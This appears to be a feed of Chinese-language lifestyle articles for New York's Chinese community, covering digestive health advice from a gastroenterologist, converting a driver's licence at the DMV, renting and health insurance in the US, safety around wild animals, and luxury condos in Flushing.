2021-04-27 / by / in
肚子痛有哪些原因?如何诊断治疗?纽约肠胃科专家荆彤医生为您解答

肚子痛很多人都经历过。由于腹腔内各种脏器紧密相连,如何判断这些疼痛是哪个器官引起的?下面请纽约肠胃科专家荆彤医生为大家来讲解。

肚子痛的原因多种多样。常见的肚子痛可能是以下疾病引起的:胰腺炎、胰腺癌、胃溃疡、胃炎、溃疡性结肠炎、肠缺血、胆囊炎、胆结石等等。

对于医生来讲,在接诊腹痛病人时,首先是要把那些对病人影响最大、危害很大的,可能会造成生命危险的疼痛一一排除掉。如果暂时不能排除,需要通过做一些检查,找到病因后把那些危害很大的做一些紧急处理。

常用的检查手段是胃镜、肠镜、CT、超声波扫描、核磁共振、内视镜超声等等。在胃镜下可以知道胃内有无胃炎、胃溃疡、幽门螺旋杆菌和肿瘤,食道肿瘤、胃的肿瘤和十二指肠的肿瘤都可以在胃镜下检测到。结合病人的其他情况,就可以初步判断病人的腹痛是否会危及生命。

如果通过检查并未发现器官的异常,那么这种腹痛就属于功能性腹痛,也叫做消化不良。这种腹痛也很常见。可以通过药物去调节,通常能达到不错的效果。

2021-04-27 / by / in
外州驾照换纽约驾照 要注意什么?换照要准备哪些材料?

文|交通小伙伴

纽约驾照号称全美最难考,如果你是从外州搬到纽约州,住满90天后,赶快到纽约车辆管理局(Department of Motor Vehicles, DMV),将外州驾照换成纽约驾照,避免要重新经过笔试、路考,才能在纽约开车。换纽约驾照要注意什么?要准备哪些材料?以下为你提供换照资讯。

DMV规定,外州搬到纽约州的居民,住在该州至少90天后,可在30天内,将外州驾照换成纽约驾照。

外州驾照换纽约驾照:需住在纽约州至少90天,可在30天内,将外州驾照换成纽约驾照。

换纽约驾照:要注意什么?

外州驾照必须包含:

  1. 你的照片。
  2. 有效期内或过期不超过24个月。
  3. 在申请纽约驾照之前至少6个月就已签发(商业驾照除外)。

注:如果外州驾照没有显示签发日期,请从签发该驾照的州,获取一份经认证的驾照纪录或信件,说明签发日期。如果无法提供,只能申请新的驾照。

以下情况不能转换纽约驾照:

  1. 驾照被暂停或撤销。
  2. 遗失或被盗。
  3. 未成年人或僱用驾照。
  4. 标注「不可续期」或「不可转让」。

外州驾照换纽约驾照:携带视力测试报告、外州驾照、身分证明文件、申请费,到DMV办理。

换纽约驾照:要准备什么?

受疫情影响,虽然大多数DMV办事处已重新开放,但目前采取预约制。可先查询DMV各办事处(可点击链接)资讯。

携带以下文件到DMV办理:

  1. 视力测试报告(Vision Test Report)(MV-619(可点击链接下载、填写、打印)。如果没有的话,也可在DMV进行视力测试。
  2. 外州驾照。
  3. 身分证明文件:每种材料有不同分数,须提供相加至少6分的证明文件。详细材料可参考DMV相关网页(可点击链接)

常见的文件如下:
4分:有效美国护照。
3分:有效外国护照、公民证书或入籍证书、绿卡(I-551)。
2分:社会安全卡或Ineligibility Letter。
1分:美国信用卡、医疗保险卡、含有名字和住址的美国银行账单(前往DMV之前,120天内签发)、含有名字和住址的公用事业账单(例如水、电、手机等,前往DMV之前,1年内签发)或租屋合同(前往DMV之前,1年内签发)。

注:同一分数的证明,只能算一件,分数不能相加,例如3家不同银行的账单,只算1分。

  1. 按照驾照类别,缴交65~137美元的费用。常见的普通驾照(D类、DJ类和N类),费用为65美元或75美元*。可以用现金、信用卡、借记卡、支票或汇票支付。

*注:以下县的居民,必须支付大都会通勤运输区(MCTD)的费用(10美元):布朗克斯(Bronx)、国王(布鲁克林)(Kings (Brooklyn))、纽约(曼哈顿)(New York (Manhattan))、皇后区(Queens)、里士满(史坦顿岛)(Richmond (Staten Island))、达奇斯(Dutchess)、纳苏(Nassau)、奥兰治(Orange)、普特南(Putnam)、洛克兰(Rockland)、苏福克(Suffolk)、威彻斯特(Westchester)。

注:加强版(Enhanced)驾照需额外收取30美元的费用。

申请完成后,DMV会给你一张临时驾照,大约2周左右,就能收到正式驾照。注:纽约驾照有效期为5年。

未能順利換紐約駕照 別擔心…

无法顺利换纽约驾照…别担心,金牌资讯网为你提供2021纽约驾照笔试、路考流程。

如果因为某些原因,无法顺利换纽约驾照。别担心,以下为你提供2021纽约驾照笔试、路考流程:

2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(上)

2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(中)

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2021-04-27 / 1 Comment / by / in , , ,
在美国租房前 要和房东确认这些常识

文|雨荷

在美国租房,如何找到一个心仪的地方,让自己住得舒心,这可是一门大学问。租房合同中需要包含哪些基本信息来明确房客的权利和义务?一定要清楚。

建议租房前要询问房东这些问题

1.租期多长时间?
根据Consumer.gov的说法,租约通常为12个月。但是,也有一些业主和管理公司可以提供租赁期限6个月到18个月。需要问房东租赁协议的租赁期限是否灵活。如果您可以签订长期租约,则管理公司可能可以按月提供租金折扣。

2.房租中包含什么?
询问房东和管理公司租金中包括哪些公用事业。详细说明并确切询问您负责哪些公共设施以及房东将承担的费用。还要询问诸如停车,草坪护理,储藏室和游泳池通道等便利设施。这些类型的服务和设施房租中是否包含。

3.何时应交租金以及如何付款?
每个房东和管理公司都不相同,因此要确认租金的支付流程。询问何时提交租金,以及如果错过付款,是否有任何滞纳金;另外,如果您想在月中旬搬家,询问管理公司是否按比例分摊租金,还是支付整月的租金 。例如,如果您的租金是$ 1,200,但在月中旬搬家,则该月的按比例租金应该在$ 600左右。

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保证金 示意图。

4.保证金可以退还吗?
如果房客不违反租赁条款并且对设备没有损坏,则可退还保证金;如果您确实违反租约,则房东可能会保留全部或部分保证金,以支付这些费用。

5.是否需要房客保险?
房东和管理公司可能要求房客购买房客保险。房客的保险单有助于保护您的财物,诸如火灾失窃等造成的损失。根据全国保险专员协会(National Association of Insurance Commissioners)的数据,平均租房者的保险费每月在$15至$30之间。如果发现您对他人的伤害或财产损失负有法律责任,则房客保险还可以提供责任险,从而在经济上为您提供保护。与您的保险公司联系,以找出适合您情况的承保范围。

6.讯问在停止租房前多久通知?
租赁协议指定在搬出物业前需要给房东或管理公司提前通知。这可能需要1到3个月的时间,因此请确保在签署租约之前确认此信息。

签署租约 示意图。

7.违反租约的处罚是什么?
违反租约的罚款可能会因州法律和个别房东或物业经理而异。一些处罚可能包括没收您的保证金,支付数月的租金或支付租赁期内剩余的租金的一定比例。仔细阅读您的租约,了解如果您需要比预期更早的搬家,会发生什么情况。

8.有紧急维修服务吗?
公寓指南说,在签订租约之前,先询问房东提供什么样的紧急维护。了解如何在发生情况时与该维护人员联系。获取有关这些请求通常需要多长时间才能得到解决的确认。

9.可以带宠物吗?
房东和管理公司的宠物政策可能会有所不同。宠物政策是什么,都一定要询问在租赁期内是否需要支付任何不可退还的押金或宠物租金。

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宠物 示意图。

10.来访客人政策是什么?
公寓指南说,与宠物政策类似,房东对过夜的客人,访客甚至长期居留有不同的规定。请务必仔细阅读您的租赁条款,以了解需要遵循的特定准则。

11.房客的转租(Assignment)和分租(Sublease)权利?

房客在最初租房时,但是为了避免双方日后有争议,房客是否可以转租或者分租的权利在合同中应该明确列出。合同中可以约定房客若想转租或分租,需要提前通知房东并征得房东的同意或者在租约中设立相应条件,房东不可以以不合理的理由拒绝房客转租或者分租的请求。对于转租情况下原房客继续承担什么样的责任,各个州的法律都有不同的规定。

2021-04-26 / by / in , , , , ,
在纽约怎么看病|怎样选医疗保险 牙医保险 医院医生和看病费用

众所周知,美国有非常完善的医疗保险系统及先进的医疗水平,那么在美国看病的流程是什么?有哪些注意事项?以纽约地区为例,身在美国的华人要看病的话,怎样选医疗保险和医院医生?

美国医疗费用的主要构成是:医院、住院费、医药、医疗器材还有医生护士的费用等。生活在美国看过病的人都有感受,美国医疗费用真的很昂贵。

有媒体报导,有个华人晚上肚子痛,到医院就诊,在医院一个晚上接到的账单是5600美元。可能有人会认为,美国人有很好的医疗保险,所以不需要太担心。

其实,据美国普查局 (United States Census Bureau)的数据显示,2019年有超过2,600万美国人没有任何医疗健康保险,占总人口的8%。

美国政府机构在医疗保健网站上也提示人们,如果没有医疗保险,人们负担的医疗费用可能会让其陷入债务甚至破产。并举例:腿骨折医疗费高达7500美元,住院3天的平均费用是3万美元,癌症会耗费几十万美元。

在美国看病费用确实非常昂贵,因此医疗保险非常重要。

美国医疗保险

美国的医疗保险很复杂。

美国的医疗保险有联邦政府的Medicare,用于65岁以上的老年人,交满10年税,并达到一定额度,或是残疾人士,可以申请联邦医疗卡(也称红蓝卡)。这个保险很便宜,看病或住院后自己承担部分也比较少。

另一种专门给孕妇、儿童及低收入家庭和个人提供的医疗保健计划由州政府负责,这种计划称为“医疗辅助保险”(Medicaid),也称为“白卡”。孕妇和儿童,以及低收入家庭可以申请这种保险。以纽约为例,年龄为 19-64岁的申请人,家庭总收入在联邦贫穷线的138%以下,并满足其它一些资产限制条件的,申请人就可以享受100%的医疗福利。

不过大部分美国人都享受不到这样便宜的保险,一般都购买商业保险。

美国的医疗保险计划分个人和全家两种。如果是单身,那就只需要购买个人医疗保险计划。如果你有家室,那就可以买家庭保险计划,每个月交纳的费用也相应多一些。一人购买,涵盖全家,包括配偶和未成年子女。

如果是自雇业主可以自己买保险,大约一年的医疗保险费用是5000美元。

如果是上班族,一些利润好的大公司会给员工买保险,叫做“雇主赞助家庭健康保险”, 平均一年大约2万美元,一般公司支付70% – 80%,个人支付20% – 30%,也就是雇主每年支付14,000到16,000美元,雇员每年支付4000 到6000美元。

也有效益好的公司,百分之百地负担雇员及其家属的医疗保险费用。

那么有这样的保险以后,看病还要自己花钱吗?是的,在每次看病时需要支付大约10%的费用。

而一些小公司可能只给雇员买一般的保险,那样看病的时候自己就要付比较多的钱。

美国牙医保险

另外要提醒的是,在美国也许你有医疗保险,却可能没有牙医保险。美国医疗保险和牙医保险是两种不一样的保险。

在美国如果你要看牙或治疗牙齿,最好能有美国牙医保险,否则也可能会收到“天价账单”。美国牙医保险可选的计划很多,每个人可以根据自己的情况来定。比如,有的人只需要每年常规检查和洗牙,但是有的人会需要做烤瓷牙或植牙。就根据自己的需要来选择不同的牙医保险。

在选择牙医保险时,请记得看清楚你的保险计划(plan)是否是医疗保险公司网路里的加盟医生、医院和药房等。还要注意的是一定要核对清楚牙医保险的等待期(waiting period)。

选择美国医疗保险,要搞懂的几件事

搞清楚以下这些基本概念,也许对您选择医疗保险有点帮助。

保险费Premium: 定期向保险公司支付的费用。

最高保险支付额 Maximum Payment:指保险公司支付给你的医疗费用最高金额。

自付额Deductible: 保险公司为你支付费用之前,每次看病自己先要花销的金额范围。(deductible金额越低,保险费越贵)。

手续费 Co-pay:类似挂号费,每次看病都要付,一般从15到50美元。

共同保险Co-insurance:在自付额满了之后,需要支付的医疗费用比例。(比如20%)

个人最高应付额Out-of-pocket limit: 自己支付的医疗费用超过这个额度后就由保险公司支付。

网络内和非网络内的医疗保健单位 In-network & out-of-network:有些医疗保险限制只能选择网络内的医疗保健单位。选择网络外的医疗保险费用就很贵了,自费比例也会高。

美国看病流程

买了普通的医疗保险,看病要先预约选定的家庭医生(全科医生),如果全科医生看不好,再由全科医生介绍给专科医生,一般好的专科医生也需要预约排队,如果专科医生看不好,属于重病或疑难病症,才介绍到大医院。这个过程是购买私人医疗保险看病的一般流程。

如果收入很好的人士,买了昂贵的医疗保险就可以随时随地享受最好的医疗条件,可以有多名私人医生,在世界任何地方看病的费用全部“实报实销”。当然每月在医疗保险上的支出也是相当可观。

如果购买的是保险费较低的医疗保险,就到指定的医院就诊。

入不敷出的人士,或者有的年轻人觉得买医疗保险不划算可能不参加任何医疗保险,一旦有病不得不看时,可以到公立医院去看病,只不过要排长队,并且填写冗长而又繁琐的申报表格以取得一张免费处方。

如果不是公立医院的话,没有医疗保险也可以跟医院协商要求医疗费用折扣(例如cash discount)或者申请医院的经济援助(financial assistance)等等来减轻负担。但是谁知道砍价后还要支付多少呢?总是觉得心里没有底。

美国医疗保险复杂,对于移民美国的华人来讲,如何针对自己个人和家庭情况选择合适的医疗保险是需要多方权衡和考虑的。如果您需要更多了解美国医疗保险,选择一份自已合适的医疗保险,为自己和家庭带来更多生活保障,请咨询纽约地区的专业医师和保险律师。

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2021-04-26 / by / in , ,
户外探险、野营的常识 遭遇猛兽该如何自保?
文|无疆行者

到户外进行野营探险是一种愉快的、自由的体验。如果能近距离观察到平日里难得一见的大型野生动物,更是一种让人既兴奋又难忘的经历。但是这也存在着潜在的危险,有的时候甚至是致命的。那么在到户外远足野营要注意些什么呢,如果遇到了攻击性很强的熊、狼或美洲狮这样的猛兽,应该怎样保护自己免受伤害呢?

如果你决定走进大自然,来一场任性的户外远足和野营,首先请了解以下的事项。

• 开车要留意野生动物

在美国的公路上开车,要特别小心撞上野生动物。据统计,美国每年有近200人死于和鹿相撞的事故里。有许多动物喜欢在清晨和黄昏至午夜的时间段活动,在野生动物出没多的路段,这时候开车要格外小心。

• 天黑之前要找到露营地扎营

营地要选择在靠近水源、背风的地方。注意帐篷门的朝向不要迎着风向。

• 不要将食物、有香味的物品带入帐篷。

食物的味道会吸引各类动物来觅食。应该保持干净的营地,使用炊具后要彻底清洗。所有有味道的东西都要放到远离帐篷的地方,比如说牙膏,香水,等等。将未食用的食物密封存放,或将其吊挂在远离帐篷的树上。垃圾也要注意掩埋或丢到露营区的垃圾桶里,减少吸引野生动物觅食的味道。

• 切勿喂食会吸引美洲狮的野生动物,例如鹿,浣熊或松鼠。

遭遇猛兽如何自保

避免潜在致命情况的最佳方法是提前做好准备。在有大型野生动物活动的区域,首先要特别注意警告标志。如果你要离开营地时,务必至少找一个同伴一起。通常两个人在一起时受到野生动物攻击的概率会小很多。

黄金的法则是:永远不要故意喂食或接近危险的野生动物。

如果你遇到了可能伤害你的大型危险的野生动物,首先应努力保持镇静,不要让它感受到你在害怕,这是至关重要的。很多时候,野生动物只是对你的身分和所做的事情感到好奇。

1. 鳄鱼

在美国,鳄鱼经常出没的地方包括:德克萨斯州及其往西的沿海领域,直到北卡莱罗纳州。在佛州,鳄鱼几乎可能存在于任何水域。

鳄鱼是伏击掠食者和投机者,最好与任何水边保持至少4到5英尺的距离。短吻鳄的主要狩猎时间是黎明和黄昏。

在鳄鱼的繁殖期尤其要提高警惕。佛罗里达鳄鱼的繁殖期通常从五月开始,所以在夏天出游的时候不但要避开相关水域,最好连水域附近的草丛也尽量避免进入。

遭遇鳄鱼攻击时该咋办呢?

传统的方法是跑Z字形,但是最好还是尽可能地快速远离它们,寻求屏障。一旦你和它之间有视觉障碍,或其它任何它们必须绕过的障碍,它们可能会对你失去兴趣。

如果你在水中发现了鳄鱼,一定不要惊慌。飞溅的水花或大喊大叫只会使鳄鱼对你更感兴趣,因为它们认为那是它的猎物应该表现的。要立即安静地游回岸边。


万一不幸被鳄鱼咬住,它下一步的行动就是把你拖到深水里。这时已经到了绝地反击的时候了,千万不要费力尝试撬开它强大的下颚。用手指猛戳鳄鱼的眼睛或鼻孔都有可能使它松开嘴而得以逃脱。

2. 美洲狮(山狮、Cougar)

当你看到美洲狮时,它很可能已经跟踪你一段时间了。美洲狮是出色的跟踪掠食者之一。它们通常不会攻击两个或两个以上的人。

美洲狮主要的捕食对象是鹿,不过它们也会吃其它的小动物,比如说羊,浣熊,驼鹿,土狼,小黑熊,刺猬等。

美洲狮一般在山上活动,但是也会出现于森林或者空地。觅食时会走的很远。最活跃的时间是傍晚和清晨。

如果你遇到美洲狮,如果身边有小孩的话要马上抱起来。你应该站在高处,站直身体,不要弯腰,正面直视它,万万不可转身逃跑,这样会触发它的捕捉天性。要慢慢后退,不要背对着它。一般来说美洲狮会避开你。如果美洲狮试图逃跑,要确保给它让出一条可以逃跑的道路。

如果它开始攻击就要猛烈还击!利用身边的一切东西,比如树枝,石头等,还击时要集中攻击在它的头部和眼睛,另外要确保一直面对着美洲狮。

3.熊 (Bears)

北美地区的熊通常是黑熊(black bear)或者灰熊(grizzly bear)。它们很少会攻击人类,遭遇到熊大多数的情况是安全的。但必须要知道,所有的熊都是有危险性甚至是致命的。特别是它们在保护幼崽,或是感受到威胁的时候,它们就会发动攻击。相比较而言,灰熊比黑熊更危险,攻击性更强。

清晨和黄昏是熊比较活跃的时候。在有熊出没的地方徒步远足时,应避开这个时间段。

如果遇到黑熊,不要转身就跑(这样就把自己搞成了它们的猎物),而是要慢慢的后退,不要让它感受到有威胁,不要激怒它。如果有小孩在,迅速把小孩拉到身边。如果多人在,人要集合在一起,不要分散。

一头有攻击性或防御状态的黑熊会做出一些不同的行为或声音。如果它们面对你时头俯下来,耳朵向后竖起,并向你走来,这种情况就要小心了。这是要攻击你的迹象,你这时要大喊大叫,挥动双手,让自己显得越大越好。向它扔石头或树枝,全力反击,集中攻击熊的头部和眼睛。

千万不要装死,这样黑熊会更加容易攻击你。

如果是灰熊的话就尽快找一个4米以上的树爬上去,如果没有树的话就要趴地,把肚子靠着地,然后把手放在挡在头和颈部。灰熊可能会尝试翻你,每当你的肚子朝天就再翻一圈把肚子和脸部靠在地面。

如果灰熊真的要吃你的话就用所有的力气还击和逃跑。

如果它是因为你携带的食物而攻击,赶紧把食物扔到远距离外。

去有熊出没的地方最好随身带上驱熊喷雾(bear spray),这种防熊利器,甚至比枪更有效。

4. 狼( Wolves)

在野外遇到狼的时候,千万不要慌,狼有敏锐的观察力,你的害怕会被它捕捉到。如果在和小孩一起时遇到土狼,要将孩子举起来。切勿背对土狼。 这表示屈服,软弱和恐惧。

狼通常比较怕人,是多种猎食性动物里最少主动袭击人的品种。

如果遇到狼,避免和它目光对视,用余光观察,缓缓走开。如果发现它跟进,要立即站定。

如果狼开始咆哮或咬紧下巴,这时可以双手举高,让自己看起来更高大,大声高喊,来一个狮子吼,都可以有效的震慑土狼。

真正受到攻击的时候要猛烈反击,并注意保护你的喉咙和动脉。

5.美洲野牛( Bison)

这种巨大的食草动物看起来好像憨憨的,很温顺的样子,不具有危险性。但是在黄石公园,每年野牛伤人的事件比其它动物都要多,包括让人恐惧的灰熊。

美洲野牛公牛的重量可达一吨,根据记录,它们能和马跑的一样快,能够达到每小时55公里的速度。

避免被野牛攻击很简单,只需保持足够的距离就行。观看野牛的安全距离是20米以上。

野牛伤人的事件,大多都是游客的不当行为导致的,比如近距离拍照,或有夸张的动作,或者发出怪异的声音等惊扰到野牛。

每年的6月到9月左右,是美洲野牛的发情交配季节,公牛在这个季节特别有攻击性。

在五月和六月,母牛也会因为保护小牛犊而变得易怒,要格外小心。切不可站到母牛与小牛犊之间。

如果你不幸遭遇到野牛的冲锋攻击,应立即寻找掩护。如果周围有树木,可以躲到树后,如果你能爬树也是个好主意。

2021-04-26 / by / in , , , ,
烧心、反酸别不当回事!小心食道癌!纽约肠胃科专家荆彤医生提醒您

不少朋友都有过烧心反酸的现象,一般大家也都不太把这当回事。但是你知道吗?如果烧心的现象反复出现,会发展为食道炎,甚至诱发食道癌。在此请纽约肠胃科专家荆彤医生为大家做详细说明。

烧心的症状反复出现会对身体造成哪些伤害?

反复出现烧心会对食道表层起到破坏作用,形成食道炎,严重一些的会形成食道溃疡,最严重的情况是形成食道癌,尤其是腺状上皮癌,在中国人和美国人中都比较常见。美国的白人中经常发现这种腺性上皮癌,这和他们的饮食有很大关系。比较肥胖的人容易得食道癌。

食道癌分为两类:腺状上皮癌和鳞状上皮癌。鳞状上皮癌的患者中除了有胃食道逆流的问题,也大都存在抽烟、喝酒的问题。鳞状上皮癌常见于食道的中上部。在询问病人病史的时候,很多人在年轻时就开始抽烟喝酒很厉害,有的人胃食道逆流的问题也很严重。

在一开始的时候病人没当回事,胃食道逆流反反复复也没有去治疗。过了几年,有的病人胃食道逆流的症状完全消失了,也没有吃过药,病人自己很高兴。实际上这不是值得高兴的事,是因为胃和食道接口的地方长了肿瘤,这个肿瘤挡在那里,使胃里的食物无法返流到食道。我见过几个病人就是这样的情况。

 有一个病人50多岁,是个做生意的老板,经常需要应酬,吃饭很晚,加上他有抽烟喝酒的习惯。胃食道逆流问题经常出现,我给他开了抗酸药他服用后效果很好。后来每次烧心症状出现他就用抗酸药抑制,让他定期回来看食道炎有无好转他也没有回来看。4~5年之后等他再来的时候已经进食困难了,因为已经形成食道癌了。食道癌早期的时候,病人吃饭需要喝水往下送饭,再后来就只能吃流质食物了,比如豆浆、牛奶、粥等。到最后喝水都困难了,就是那个肿瘤越长越大,最后完全把食道堵住了。当然食道癌早期的时候可以做手术切除肿瘤,但因为食道处于胸腔、腹腔结合的部位,手术的创伤通常比较大、损伤也比较大。后续可能还需要进行化疗。

在此提醒大家,如果出现烧心反酸的现象,要改变生活习惯,及早治疗,经常去跟医生随诊,观察病情发展。

荆彤医生的建议:

1、睡前3个小时就不要再进食了。因为吃饭太晚,在睡觉的时候食物还有很大一部分在胃里,没有被消化。当人睡觉躺下的时候,很容易发生胃食道逆流,出现反酸烧心的症状。

2、食物方面,少吃甜食,少吃辛辣刺激的食物,烟酒戒掉,少喝汽水和含有咖啡因的饮料。少吃油腻的东西。

3、多运动。肥胖的人需要减肥。

2021-04-26 / by / in
纽约地产:法拉盛新楼盘、豪华公寓 带你走览

文|地产小尖兵

纽约房地产市场在疫情之后,有着较明显的下跌趋势,这与旧金山湾区房市有比较大的不同,旧金山湾区在去年四五月份也出现跌幅,不过随即就开始反弹,而且力道不小。反观纽约房市,因为以Condo、Co-op楼盘为主,在疫情之后这类密集性高的房产并不吃香,出现降价、滞销的情况。不过在去年第三季之后,纽约房市也逐渐回暖,而且本次要重点谈论的法拉盛房市,更是在疫情中一支独秀的纽约房市。

疫情期 法拉盛房市表現抗跌

法拉盛(Flushing)已经是名符其实的纽约中国城了,早已超越传统的曼哈顿中国城的规模。法拉盛位在纽约的皇后区内,是7号地铁站的终点,也是这里唯一的地铁站。目前大约有二十万左右的人口数,约70%是亚裔,包括来自大陆、香港、台湾、韩国或印度等地的人士,而且以华裔居多数。

随着法拉盛人口的逐渐增加(当然啦,主要是华人的移入),这里已经成为皇后区的商业中心,因此近年大型的购物中心、住宅楼盘相继在法拉盛开发,成为抢手的地区。所以在这次新冠疫情中,总体来说,既使曼哈顿、布鲁克林的楼盘都在降价、打折扣,但皇后区的价格却没有太多变化,成交量反而上涨了三成多;租金的下滑,皇后区也是较少的。

法拉盛房市的优势

另外,法拉盛也有不少学校,大学生人数超过3.5万人,纽约市立大学皇后学院设在法拉盛,这里还有全美最好的高中之一:Townsend Harris高中。此外,皇后区的公立图书馆也设在法拉盛,所以法拉盛还是挺有文艺气息的。

法拉盛还有交通上的优势,离纽约两大机场:拉瓜地亚、肯尼迪都不远,同样位在皇后区内。而且从法拉盛到曼哈顿、布鲁克林、纽约上州和长岛的距离都是比较均衡的。这个地铁7号线就直通曼哈顿,站点就在主要商业接的缅街上。 7号线还有一个重点——串连纽约几个热门的房市开发区域,像是长岛市、Sunnyside、Elmhurst、哈德逊城市广场等区域。

尽管法拉盛人口成长,但她有一个优势,就是还可以往周边扩张,比较没有受到区域的局限,例如近期最大的开发案“法拉盛特别水岸区”将会是未来的热点之一(后面介绍)。法拉盛也因为房价相对曼哈顿、布鲁克林等地较低廉,但却有着以上多项优势,因此近年房价相当抗跌,尤其在2018年后,纽约房市开始下行,但法拉盛去反其道而行。

法拉盛走入高端公寓纪元

虽然疫情期间,法拉盛的公寓也有受到影响,但独立房价仍比较稳定。但随着去年底,疫苗相继问世,法拉盛公寓楼盘回温迅速。去年第四季,法拉盛公寓房价比第三季上涨了13%(据Modern Spaces数据)。 2021年初,法拉盛成交单价最高的是35大道的The Farrington大楼——每平方呎价格1,413美元,而在39大道法拉盛广场(Flushing Commons)一套两卧室房公寓,还卖出了230万美元(后面介绍)。

看准法拉盛未来的前景,开发商几年前就抢入市场,所以近几年高端大楼在法拉盛将相继问世,住商混合也是未来大楼的趋势,楼下有大型商场和各种零售店,楼上则是高级住宅,以做到地尽其利。

以下我们就来介绍一下,法拉盛的豪华公寓、新大楼楼盘:

天景豪苑Sky View Parc

法拉盛首個高檔住商混合開發案:天景豪苑。(google街景)

天景豪苑地理位置。 (google 3D街景)

这个地点位在40-22 College Point Blvd, Flushing,这个是当地高端大楼最早期的开发案,等于带动法拉盛高端公寓的销售。天景豪苑由铁狮门建设、Onex投资管理、Ralated物业管理等3巨头共同开发管理。但是由于地点问题(在当时治理不善的法拉盛河边上,周边也有政府楼),所以2011年第一期开售时(平均每平方呎约750美元),大家反应比较平淡,还有点观望的态度;到了2015年的第二期第一栋楼上市时,那时美国房市已经摆脱08年金融风暴的暴风圈,因此当时的销售也就不可同日而语了,销售中心挤满了购房人潮,每平方呎价格更比2011年时,上涨了两三百美元左右。

天景豪苑结合高档公寓、空中花园、众多商场,成功在法拉盛首次打造高级住商混合开发案,可谓是将法拉盛带入曼哈顿高端公寓水平的指标开发,打破了人们对法拉盛脏乱街区的刻板印象,因此当时有不少华人白领阶层也非常买单。它拥有78万呎的零售空间,还进驻多家知名品牌与华人超市,顶楼还有空中花园,也有多项公共豪华设施。价格大约从50万到190万都有,有Studio到3卧室的跃层复式公寓。

One Fulton Square一号富顿广场

法拉盛住商高端公寓:One Fulton Square,圖為戶外用餐區。(業主圖片)

One Fulton Square。(google街景)

这个案子由富顿集团主导开发,和天景豪苑相隔一个街口而已,位在39-16 Prince St, Queens,同样在罗斯福大道上。一号富顿广场也是住商混合开发,和天景豪苑不同的是,这个街区更为热闹,大楼的亚洲餐馆比较多,从中式、日式到韩式都有,但公寓只有43个单位,主体大楼是凯悦嘉轩酒店。

Tangram

法拉盛住商豪華公寓:Tangram模擬圖。(Tangram網站)

Tangram也是由富顿集团主导开发,位在37-09 College Point Blvd, Flushing,从天景豪苑的College Point Blvd往北过一个街口就到了。这个案子有两栋主楼,分为南栋和西栋,除了豪华公寓单位,还包含办公楼、酒店、商场、4D电影院,而且目前公寓销售正在进行中,不同楼层逐步开放上上市,以两到三房的房型为主,也有少部分的四房,起价预估为68万美元。当然也少不了各种高档设施,从健身房、泳池、空中花园、桑拿室等等。 Tangram第一期共有192套单元,2018年开始上市,每平方呎已经达到1200美元左右。

Flushing Commons法拉盛广场

Flushing Commons模擬圖。(Flushing Commons網站)

Flushing Commons 谷歌街景3D圖,現只有一期工程建築。(google街景)

法拉盛广场原是法拉盛市中心,第一停车场的5.5英亩土地,一期工程已在2017年完工,第二期工程预计于2021年完工。一期工程,包括有148个住宅单位和零售空间、办公楼;二期工程会有450个住宅单位,也有零售空间,户外会有1.5英亩的休闲广场。一期住宅单位价格从65万到250万不等,有一至四房的房型,现在还得买。购买法拉盛广场的优势:15年住宅享受减税计画优惠、办公室享受25年减税计画优惠。

Farrington Tower法林顿大楼

Farrington Tower模擬圖。(世纪地产集团網站)

另一个豪华公寓大楼是法林顿大楼,它也是当前最新的高端公寓,位在Farrington St.和35大道交叉口,由世纪地产集团开发。法林顿大楼也是由住宅、酒店、零售组成的开发,1楼规划为法林顿商场、2楼至7楼是酒店套房,第8楼以上至15楼是100套的公寓。公寓平均每平方呎约1150美元。法林顿大楼有一个优势:15年地税减免,因此对公寓买家来说是很大的诱惑,大大降低往后的拥有成本。大楼预计在2021年夏天完工。

Northern Tower北塔大楼

Northern Tower模擬圖。(世纪地产集团網站)

北塔大楼也是由世纪地产集团开发,位在35-32 Leavitt St. AKA 137-61 Northern Blvd. Flushing,混合用途的13层高楼,拥有各种高端设施,预计2022年完工。一楼将有4,000平方英尺的高端零售空间,酒店拥有249间酒店客房,将占据第二至第九层,也将是皇后区唯一的5星级酒店。北塔的住房不多,仅有48个高端公寓,位在第十层到十三层,且享受游泳池、健身房、会议室、商务中心等服务设施。

開發中:法拉盛特别水岸区

法拉盛特别水岸区位置,紧邻右边的天景豪苑、大学点大道的对街有Tangram。 (开发案网站)

法拉盛特别水岸区手繪草圖。(開發案網站)

最后介绍一个开发中的开发区:法拉盛特别水岸区(Special Flushing Waterfront District)。这个开发案与天景豪苑仅隔罗斯福大道,就在法拉盛河(Flushing Creek)岸边。该开发区域是经过社区与多方讨论后,终于在2020年12月通过的,总占地29英亩,将由三个华人开发商共同开发,预计共有1725套公寓,其中30%是平价版,还有879间的酒店套房,约29万平方呎的商场空间、40万平方呎的办公空间,而且将创造近三千个工作岗位,另外还有河岸公园、公共休憩区。这个水岸开发案预期在2025年完成。

以上基本都是高端豪华公寓单位,代表法拉盛的住房顶端,每呎都要一千美元以上,不过其余还有不少较为平价的中小型新公寓,大约每呎要八九百元,如果是二手公寓物业,则约六百至八百美元左右。

另外,当然也有合作公寓(Co-op),不过一般来说,在纽约还是比较推荐购买独立产权的公寓类型,也就是Condo,尤其对新移民或外国买家来说,独立产权的公寓虽然可能较合作公寓昂贵,但合作公寓对买家的财务审核也比较严格,而Condo购买相对容易,往后转卖也方便,有利于市场流通,升值也较好。

2021-04-26 / by / in , ,
什么是胃食道逆流?烧心、口苦、口臭原来是这么回事!纽约肠胃科专家荆彤医生为您解答

不知道大家听说过“胃食道逆流”这个词没有?烧心、嗓子疼、口苦、口臭…..很多问题可能都是胃食道逆流引起的。下面就请纽约肠胃科专家荆彤医生为大家做一个讲解。

所谓胃食道逆流就是胃里的东西返流到食道,造成对食道的刺激。大家知道,胃里面是强酸的环境,而食道是一个碱性的环境,一旦胃里面的东西进入食道,就会对食道粘膜产生刺激,患者有烧心的感觉,严重的感觉嗓子都痛,有人会声音沙哑。

胃食道逆流的症状有哪些?

我们经常看到有病人嗓子不舒服,声音沙哑,第一反应是去看耳鼻喉科,80%以上的情况都是医生会建议他去看肠胃科医生,是胃食道逆流刺激引起的喉咙痛。还有的病人感觉早晨起床时口水很多,口苦,这实际上都是胃食道逆流的一些表现。还有人口臭,牙医也看了,牙齿没有问题,没有蛀牙,也没有牙周病。这种口臭很可能是胃食道逆流引起的。

 

胃食道逆流是由哪些原因引起的?

